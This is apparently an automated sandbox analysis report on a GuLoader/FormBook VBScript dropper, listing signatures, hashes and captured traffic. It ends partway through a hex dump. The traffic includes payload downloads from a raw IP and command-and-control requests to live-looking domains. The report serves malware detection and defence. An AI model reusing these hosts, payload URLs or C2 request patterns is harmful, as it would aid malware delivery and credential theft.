Windows Analysis Report
Pedido02304024.vbs

Overview

General Information

Sample name: Pedido02304024.vbs
Analysis ID: 1430738
MD5: 01fcc44530ca64a9bd6ea11bdd55f48a
SHA1: 8114d39d9c4691782f60affe1116dabc2cd52a96
SHA256: fbf530e626999d7d6b6756f91ced542d15801f98c4e1caffcaccdabdec281d83
Tags: vbs
Infos:

Detection

FormBook, GuLoader
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus detection for URL or domain
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for domain / URL
Snort IDS alert for network traffic
VBScript performs obfuscated calls to suspicious functions
Yara detected FormBook
Yara detected GuLoader
Found direct / indirect Syscall (likely to bypass EDR)
Found suspicious powershell code related to unpacking or dynamic code loading
Hides threads from debuggers
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Potential malicious VBS script found (suspicious strings)
Queries sensitive service information (via WMI, WIN32_SERVICE, often done to detect sandboxes)
Queues an APC in another process (thread injection)
Sigma detected: WScript or CScript Dropper
Sigma detected: Wab/Wabmig Unusual Parent Or Child Processes
Suspicious execution chain found
Suspicious powershell command line found
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Very long command line found
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to detect virtual machines (SLDT)
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match

Classification

AV Detection
barindex
Antivirus detection for URL or domain
Source: http://pesterbdd.com/images/Pester.png URL Reputation: Label: malware
Multi AV Scanner detection for domain / URL
Source: www.tyaer.com Virustotal: Detection: 10% Perma Link
Source: www.oyoing.com Virustotal: Detection: 9% Perma Link
Source: http://87.121.105.163 Virustotal: Detection: 18% Perma Link
Source: http://87.121.105.163/fBizb192.bin Virustotal: Detection: 18% Perma Link
Yara detected FormBook
Source: Yara match File source: 00000009.00000002.2260878496.0000000002ED0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2945407561.0000000000860000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.2286239677.0000000023700000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2945907117.0000000000DA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.2945047764.0000000000600000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2944308343.00000000004C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2945916928.0000000002C00000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Binary string: \??\C:\Windows\dll\System.Management.Automation.pdbOx source: powershell.exe, 00000004.00000002.2007607126.0000000007B65000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: tem.Core.pdb source: powershell.exe, 00000004.00000002.2011727696.0000000008C4C000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb5 source: powershell.exe, 00000004.00000002.2007607126.0000000007B47000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: System.Core.pdb08055DA94 source: powershell.exe, 00000004.00000002.2011727696.0000000008C40000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb35 source: powershell.exe, 00000004.00000002.2007607126.0000000007B47000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: wntdll.pdb source: wab.exe, AtBroker.exe
Source: Binary string: CallSite.Targetore.pdb source: powershell.exe, 00000004.00000002.2011727696.0000000008C4C000.00000004.00000020.00020000.00000000.sdmp
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_004DD1C0 FindFirstFileW,FindNextFileW,FindClose, 11_2_004DD1C0

Software Vulnerabilities
barindex
Suspicious execution chain found
Source: C:\Windows\System32\wscript.exe Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 4x nop then pop ebx 11_2_004D3070
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 4x nop then xor eax, eax 11_2_004CAE40
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 4x nop then pop ebx 11_2_004D306F

Networking
barindex
Snort IDS alert for network traffic
Source: Traffic Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.4:49739 -> 47.91.88.207:80
Source: Traffic Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.4:49742 -> 172.67.152.117:80
Source: Traffic Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.4:49743 -> 172.67.152.117:80
Source: Traffic Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.4:49745 -> 172.67.152.117:80
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 87.121.105.163 87.121.105.163
Source: Joe Sandbox View IP Address: 47.91.88.207 47.91.88.207
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View ASN Name: CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: global traffic HTTP traffic detected: GET /Boldklubbens.pcz HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: 87.121.105.163Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /fBizb192.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: 87.121.105.163Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /gnbc/?ALLPg=JbKtchOp7P4H8n8&qRm=L9JeOsoYfW7LuiHbEVFIUxrrDEUMATYC8gDNcZo86ZNgoJ0Ky4PaH7PNod07P46PC5yTK57EcxKk26T8ts7darwqgM7ePv0Xp25EyyEytypCDy9EhkfmkBo= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enConnection: closeHost: www.tyaer.comUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Source: global traffic HTTP traffic detected: GET /gnbc/?qRm=CFA+HkVxdb5EmOTiyKOWRwF+pLrZo+HX//sAjaoe71zU1jru2C8H4zHuCGW9CrkOmabuxLOltM6mSwZ40cUWhJKDDEbSgCXb2jOP4Eqmg9UuBFGRNSISgVk=&ALLPg=JbKtchOp7P4H8n8 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enConnection: closeHost: www.theplays.shopUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Source: unknown DNS traffic detected: queries for: www.tyaer.com
Source: unknown HTTP traffic detected: POST /gnbc/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,enContent-Type: application/x-www-form-urlencodedConnection: closeContent-Length: 200Cache-Control: no-cacheHost: www.theplays.shopOrigin: http://www.theplays.shopReferer: http://www.theplays.shop/gnbc/User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4Data Raw: 71 52 6d 3d 50 48 6f 65 45 53 6c 53 62 5a 64 4c 6c 4d 4b 53 68 4b 4b 35 54 67 5a 78 34 35 72 41 6d 4d 4c 54 2b 49 38 48 6c 38 30 36 72 48 2b 52 67 7a 62 68 6e 6e 31 53 2b 54 37 4b 43 69 43 37 41 72 74 2f 69 35 6e 56 32 75 75 6c 67 38 50 38 66 58 74 36 32 4d 63 57 71 71 57 6e 43 78 6a 76 6f 53 48 39 78 79 2f 4f 70 52 65 57 31 63 49 79 4b 30 66 74 54 79 4a 4f 32 41 78 44 70 75 6f 4c 33 2f 57 7a 2f 67 51 55 61 66 71 75 74 65 36 75 6c 37 71 42 5a 33 76 30 33 55 49 2f 41 4f 65 61 4d 75 6c 59 43 35 6c 68 55 49 50 4e 54 44 34 7a 54 2b 44 34 38 58 69 4e 65 48 62 33 57 35 35 75 74 79 44 71 2b 77 3d 3d Data Ascii: qRm=PHoeESlSbZdLlMKShKK5TgZx45rAmMLT+I8Hl806rH+Rgzbhnn1S+T7KCiC7Art/i5nV2uulg8P8fXt62McWqqWnCxjvoSH9xy/OpReW1cIyK0ftTyJO2AxDpuoL3/Wz/gQUafqute6ul7qBZ3v03UI/AOeaMulYC5lhUIPNTD4zT+D48XiNeHb3W55utyDq+w==
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 24 Apr 2024 04:36:12 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Trace: 2BA0FEF1E5AA6121301DBF60C07D7CEA828F428FCA088EEE669E91D2D400Set-Cookie: _csrf=7ddec6786ae3cb344638a5e1242c3c4c39c215fe3ee247f1bfed6524e6db02b7a%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%22GhG2r_86DDM_NqV6QBWP1TkH6JUUXdl0%22%3B%7D; path=/; HttpOnlyData Raw: 33 31 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 63 73 72 66 2d 70 61 72 61 6d 22 20 63 6f 6e 74 65 6e 74 3d 22 5f 63 73 72 66 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 63 73 72 66 2d 74 6f 6b 65 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 42 59 59 5f 5f 71 41 6c 51 45 67 4d 70 38 65 71 42 35 61 42 69 50 49 5a 69 45 4f 59 53 76 75 55 59 6e 69 56 75 4f 46 37 4f 79 5a 43 37 6e 6a 4d 30 6e 70 34 66 6b 6a 6a 69 76 56 4a 35 39 65 2d 6f 31 76 66 45 36 6b 65 6b 4e 78 55 4d 73 44 74 75 52 39 58 46 67 3d 3d 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 20 28 23 34 30 34 29 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 63 73 73 2f 73 69 74 65 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 77 72 61 70 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 69 74 65 2d 65 72 72 6f 72 22 3e 0a 0a 20 20 20 20 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 20 28 23 34 30 34 29 3c 2f 68 31 3e 0a 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 64 61 6e 67 65 72 22 3e 0a 20 20 20 20 20 20 20 20 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 2e 20 20 20 20 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 3c 70 3e 0a 20 20 20 20 20 20 20 20 54 68 65 20 61 62 6f 76 65 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 20 77 68 69 6c 65 20 74 68 65 20 57 65 62 20 73 65 72 76 65 72 20 77 61 73 20 70 72 6f 63 65 73 73 69 6e 67 20 79 6f 75 72 20 72 65 71 75 65 73 74 2e 0a 20 20 20 20 3c 2f 70 3e 0a 20 20 20 20 3c 70 3e 0a 20 20 20 20 20 20 20 20 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 75 73 20 69 66 20 79 6f 75 20 74 68 69 6e 6b 20 74 68 69 73 20 69 73 20 61 20 73 65 72 76 65 72 20 65 72 72 6f 72 2e 20 54 68 61 6e 6b 20 79 6f 75 2e 0a 20 20 20 20 3c 2f 70 3e 0a 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 31b<!DOCTYPE html><html lang="en-US"><head> <meta charset="UTF-8"> <meta name="viewport" content="
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 24 Apr 2024 04:36:56 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cgG%2BOnfjbAoKEpMRYh3VkV%2FYY3YhN4JCPp1MLtGWEip4LLgzBsjlVa5RDdpy8yo%2FG4uh6DavyYgkDaBbYqsaNsjNHCroyp36YbR5qvltkIV%2F1QhUM4lN%2F9DIbT0r5a%2BOZJOjRw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 87936527fbc22f71-LAXContent-Encoding: gzipalt-svc: h3=":443"; ma=86400Data Raw: 36 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 f0 72 d9 24 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 19 86 76 36 fa 50 69 90 d9 45 76 30 c5 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a Data Ascii: 6d(HML),I310Q/Qp/Kr$T";Ctv6PiEv0yyr0.a3
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 24 Apr 2024 04:36:58 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3ofe31mBf41hu5IX7e4bsU54wxBikVFd%2FFmcl5VjIPx1Fu1HJLkiD49UEd4WfzYgRKVHMBh78aZoqXvPpB7W2zMi1boowdrzcLPtLtXDRz%2B4bn6UmrTwKfXkAJgw9dIPFPK8%2Fw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 87936538afca7d12-LAXContent-Encoding: gzipalt-svc: h3=":443"; ma=86400Data Raw: 31 65 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7c 53 cb b2 9b 30 0c 5d 73 bf 42 a5 73 37 69 09 90 a4 4d 87 40 96 5d f6 1f 8c 2d c0 73 8d c5 60 25 37 69 a7 ff de e1 19 e8 34 dd 60 24 59 c7 47 47 52 fa 41 91 e4 7b 83 50 71 6d ce 2f e9 70 78 69 85 42 9d 5f 3c 2f ad 91 05 c8 4a b4 0e 39 f3 2f 5c 04 df 7c 08 1f 21 2b 6a cc fc ab c6 f7 86 5a f6 41 92 65 b4 9c f9 ef 5a 71 95 29 bc 6a 89 41 6f 7c 06 6d 35 6b 61 02 27 85 c1 2c de 46 13 14 6b 36 78 3e 44 07 f8 41 0c df e9 62 55 1a 0e ce 2e ec f8 3e fc 79 1b f8 d5 1d 5e 2d da 52 db 04 a2 53 6f 36 42 29 6d cb d9 ce e9 16 38 fd b3 77 e5 d4 2a 6c 83 9c 6e 7d ec 77 f7 e9 ca 1c 91 2a d4 65 c5 09 c4 51 f4 fa b8 90 93 ba 3f bb e0 15 64 b9 83 c7 04 e2 43 b3 80 dd 76 d5 0b 6d b1 1d 73 95 76 8d 11 f7 04 0a 83 b7 31 d9 e0 2d 50 ba 45 c9 9a 6c 02 92 cc a5 b6 43 4c 18 5d da 40 33 d6 2e 01 89 96 b1 3d 3d e1 30 56 1c 30 35 09 c4 bb 05 f5 ad a1 92 40 d7 e5 c0 01 00 60 a6 91 1b 92 6f a7 c9 dd 77 a5 07 5d 15 31 e7 7f 5a a3 0c 9a 4f 2f ae 52 fa 56 ad 5a 33 5c db 4d f2 ac 34 8b a7 f7 3c 49 86 da 04 3e ee f7 fb c1 61 90 19 db c0 35 42 f6 cd 8b d7 d4 14 3a 39 3e b3 04 fc fa 37 de f1 78 1c 1c 8c 37 0e 7a 59 d7 82 1a 6d 31 98 54 dd ad 9b 58 10 f1 dc c1 70 03 0d 39 3d f4 4a e4 8e cc 85 71 e2 5a f0 62 e2 98 a9 4e 60 3f 09 e3 3d d4 7d 3d c1 26 fc 8f 36 cf 48 2e 4b dc fd 8b e2 36 67 a3 ed db 48 75 2a 7e 17 89 2f 7b b1 80 56 28 a9 15 43 09 96 2c ce 40 69 38 6d 56 1a 8e 1b 9f 76 93 df 2f 9d d2 57 90 46 38 97 f9 f3 58 fb fd 12 2e 43 dd b0 f8 e7 3f 00 00 00 ff ff 0d 0a Data Ascii: 1ed|S0]sBs7iM@]-s`%7i4`$YGGRA{Pqm/pxiB_</J9/\|!+jZAeZq)jAo|m5ka',Fk6x>DAbU.>y^-RSo6B)m8w*ln}w*eQ?dCvmsv1-PElCL]@3.==0V05@`ow]1ZO/RVZ3\M4<I>a5B:9>7x7zYm1TXp9=JqZbN`?=}=&6H.K6gHu*~/{V(C,@i8mVv/WF8X.C?
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 24 Apr 2024 04:37:01 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cO6%2BByCrKRvGkrIirXx3ZXp6Sns0xVhCt8yvmVH%2FT5pSdZJFcwSQYTfEzrKk7Unbb6uiCJqtaY%2F0rGoCZ6ECa0z30Ix4kTG4J%2FbC6T7P6kf4rAt3x%2ButIobRKiHDtmFhQXQNfQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 879365497e6a2b8d-LAXContent-Encoding: gzipalt-svc: h3=":443"; ma=86400Data Raw: 31 65 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7c 53 cb b2 9b 30 0c 5d 73 bf 42 a5 73 37 69 09 90 a4 4d 87 40 96 5d f6 1f 8c 2d c0 73 8d c5 60 25 37 69 a7 ff de e1 19 e8 34 dd 60 24 59 c7 47 47 52 fa 41 91 e4 7b 83 50 71 6d ce 2f e9 70 78 69 85 42 9d 5f 3c 2f ad 91 05 c8 4a b4 0e 39 f3 2f 5c 04 df 7c 08 1f 21 2b 6a cc fc ab c6 f7 86 5a f6 41 92 65 b4 9c f9 ef 5a 71 95 29 bc 6a 89 41 6f 7c 06 6d 35 6b 61 02 27 85 c1 2c de 46 13 14 6b 36 78 3e 44 07 f8 41 0c df e9 62 55 1a 0e ce 2e ec f8 3e fc 79 1b f8 d5 1d 5e 2d da 52 db 04 a2 53 6f 36 42 29 6d cb d9 ce e9 16 38 fd b3 77 e5 d4 2a 6c 83 9c 6e 7d ec 77 f7 e9 ca 1c 91 2a d4 65 c5 09 c4 51 f4 fa b8 90 93 ba 3f bb e0 15 64 b9 83 c7 04 e2 43 b3 80 dd 76 d5 0b 6d b1 1d 73 95 76 8d 11 f7 04 0a 83 b7 31 d9 e0 2d 50 ba 45 c9 9a 6c 02 92 cc a5 b6 43 4c 18 5d da 40 33 d6 2e 01 89 96 b1 3d 3d e1 30 56 1c 30 35 09 c4 bb 05 f5 ad a1 92 40 d7 e5 c0 01 00 60 a6 91 1b 92 6f a7 c9 dd 77 a5 07 5d 15 31 e7 7f 5a a3 0c 9a 4f 2f ae 52 fa 56 ad 5a 33 5c db 4d f2 ac 34 8b a7 f7 3c 49 86 da 04 3e ee f7 fb c1 61 90 19 db c0 35 42 f6 cd 8b d7 d4 14 3a 39 3e b3 04 fc fa 37 de f1 78 1c 1c 8c 37 0e 7a 59 d7 82 1a 6d 31 98 54 dd ad 9b 58 10 f1 dc c1 70 03 0d 39 3d f4 4a e4 8e cc 85 71 e2 5a f0 62 e2 98 a9 4e 60 3f 09 e3 3d d4 7d 3d c1 26 fc 8f 36 cf 48 2e 4b dc fd 8b e2 36 67 a3 ed db 48 75 2a 7e 17 89 2f 7b b1 80 56 28 a9 15 43 09 96 2c ce 40 69 38 6d 56 1a 8e 1b 9f 76 93 df 2f 9d d2 57 90 46 38 97 f9 f3 58 fb fd 12 2e 43 dd b0 f8 e7 3f 00 00 00 ff ff 0d 0a Data Ascii: 1ed|S0]sBs7iM@]-s`%7i4`$YGGRA{Pqm/pxiB_</J9/\|!+jZAeZq)jAo|m5ka',Fk6x>DAbU.>y^-RSo6B)m8w*ln}w*eQ?dCvmsv1-PElCL]@3.==0V05@`ow]1ZO/RVZ3\M4<I>a5B:9>7x7zYm1TXp9=JqZbN`?=}=&6H.K6gHu*~/{V(C,@i8mVv/WF8X.C?
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 24 Apr 2024 04:37:04 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DYZ9TiDcQtzlhfExeY4sq60KwRDjErW4%2FzGWPaU6WoyRekODs52%2FRy77MEWTK71TvrSANNB1XQm008yy7DmXD2ZF6D%2Fr%2BPZpzdiSBQ6feAS1jTbJx920u5YYGyDPH63ELNiS8A%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8793655a483fdba2-LAXalt-svc: h3=":443"; ma=86400Data Raw: 34 34 38 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 2a 20 7b 0a 09 09 09 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 09 09 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 09 09 09 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 09 09 09 7d 0a 09 09 09 68 74 6d 6c 20 7b 0a 09 09 09 09 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 09 09 09 7d 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 09 09 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 09 09 09 7d 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 09 09 09 09 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 20 63 6f 6c 75 6d 6e 3b 0a 09 09 09 09 61 6c 69 67 6e 2d 69 